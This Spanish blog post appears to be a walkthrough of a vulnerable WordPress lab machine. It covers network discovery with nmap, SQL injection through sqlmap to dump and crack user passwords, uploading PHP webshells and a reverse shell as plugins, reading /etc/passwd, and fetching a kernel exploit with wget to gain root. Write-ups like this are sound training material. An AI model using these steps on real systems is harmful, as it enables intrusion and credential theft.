Descubrimiento

En la fase de descubrimiento usaremos el comando netdiscover –r [rango ip a descubrir/mascara cidr] para descubrir todos los equipos encendidos en esa red/subred, ya que partimos de cero, solo sabemos que estamos en la subred de la máquina.

Ya sabemos que la maquina objetivo es la .130, pasemos a la enumeración

Enumeración

Ahora en la enumeración, vamos a ver que puertos, SO, versiones…etc tiene la maquina a explotar, usaremos el comando nmap -sS -O -vv –open 192.168.154.130

Tiene un puerto abierto, el 80, y también nos muestra su MAC.

Es el momento de ver la estructura de la organización, archivos de la web, bases de datos, usuarios…Con el comando dirb como se muestra en la imagen obtenemos una estructura de todos los archivos de la web de la maquina a explotar, en este caso hemos filtrador por archivos .php .html .txt y .zip

Explotación

Gracias a la fase de enumeración hemos podido descubrir que tiene una página web montada en wordpress, y por lo tanto una base de datos que almacene los datos que se recogen de ella, vamos a empezar las pruebas por aquí.

Si analizamos la página principal vemos algunos enlaces, todo esto se recogerá por el proxy BurpSuit. En el BurpSuit, si analizamos las peticiones a los enlaces podemos comprar que el “no comments” al ponerle una comilla simple en el parámetro “p=” no devuelve nada.

Pero el «Uncategorized» al pasarle una comilla simple en el parámetro “cat=” nos indica que la sentencia SQL está mal formada, por lo tanto, es esta petición la vulnerable a SQLi.

Una vez que sabemos esto, vamos a intentar sacarle las cosquillas con SQLinjection, a mi me gusta usar mucho la herramienta SQLMap, a si que veamos como:

1.Guardamos como archivo la petición que contenga un cat=1, el archivo lo llamaremos con el nombre request

2. Ejecutamos sqlmap pasándole como parámetro ese archivo siguiendo esta sintáctica (archivo request)

Podemos observar que el nombre de la base de datos es «wordpress»

3. Ahora ejecutamos el mismo comando pero pasandole como parametro también el nombre de la base de datos y la opcion –tables.

La tabla wp-users es la que lógicamente tendrá los usuarios de la base de datos, vamos a tirar por ahí.

4. Para sacar las columnas de la tabla wp-users ejecutamos lo siguiente:

5. Y por último sacamos el contenido de las columnas que nos interesan, como usuario y contraseña.

Nos pregunta si queremos usar fuerza bruta al hash de la contraseña para averiguarlas y voilà! contraseñas crackeadas.

Ahora, lo interesante de esto es poder entrar en el wordpress y poder hacer cosas dentro de él, en este caso subiremos una shell como plugin y nos permitirá ejecutar comandos en  la maquina vulnerable.

-Primero vamos a ejecutar el comando locate webshell en nuestra máquina, que nos permitirá ver todas las webshells que tiene Kali (en mi caso)

-Usamos la “simple-backdoor.php.”

-Vamos a la página de login de wordpress (wp-login.php) y nos logueamos con cualquier usuario, descubriendo que GeorgeMiller es el único que puede editar plugins, así que usamos ese.

-Editamos cualquier plugin borrando su contenido y copiando el código de la webshell a utilizar y lo subimos

Buscamos en el wp-content el plugin subido y lo ejecutamos, ahora, ya podemos ejecutar comandos desde la URL de la página.

Opción poco práctica, a si que vamos a verlo de una forma mas interesante, poder ejecutar comandos en la maquina remota desde una shell nuestra. Para eso usamos la webshell php-reverse-shell.php. Copiamos su contenido en otro plugin y los subimos (configurando dentro del archivo nuestra IP y puerto con el que posteriormente lanzaremos el nc) lanzamos un nc -lvvp puerto, ejecutamos el plugin y al volver a nuestra terminal, podremos meter comandos en la maquina vulnerable, como por ejemplo un cat /etc/passwd

Post-Explotación

Con un uname -a podemos saber versión de kernel que tiene la maquina objetivo (el objetivo sería sacar toda la información que se pueda de la maquina). Si buscamos en internet alguna vulnerabilidad para ese kernel, encontramos que hay un exploit escrito en C que te permite convertirte en root, concretamente el que está en esta página https://downloads.securityfocus.com/vulnerabilities/exploits/44219.c.

Ahora solo tendríamos que compilarlo en la maquina objetivo y lograr el tan ansiado usuario root. Seguimos estos pasos:

-Guardamos el archivo 44219.c en la maquina kali
-Abrimos una conexión en el puerto 6666 con el comando nc como hicimos anteriormente.

-En la terminal nos aparecerá que estamos dentro de la maquina objetivo.

-Desde otra terminal abrimos otro puerto pero pasándole como entrada un cat del exploit

-Desde la terminal en la que está la maquina objetivo, nos descargamos el exploit, con wget ip_de_kali:puerto_que_hemos_abierto -O [lugar y como guardaremos el exploit]

-Cerramos todas las conexiones, abrimos de nuevo otra con el 6666 y vemos que en la maquina objetivo ya tenemos el exploit.

-Ahora ya solo compilamos el exploit escrito en C con gcc y ejecutamos el archivo a.out que ha creado. Ya tendremos el control de la maquina con el usuario root.

Happy Hacking !!

¿Me ayudas a compartirlo?
Última modificación: 5 mayo 2019

Autor

Comentarios

Comenta o responde a los comentarios

Tu dirección de correo no será publicada.

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.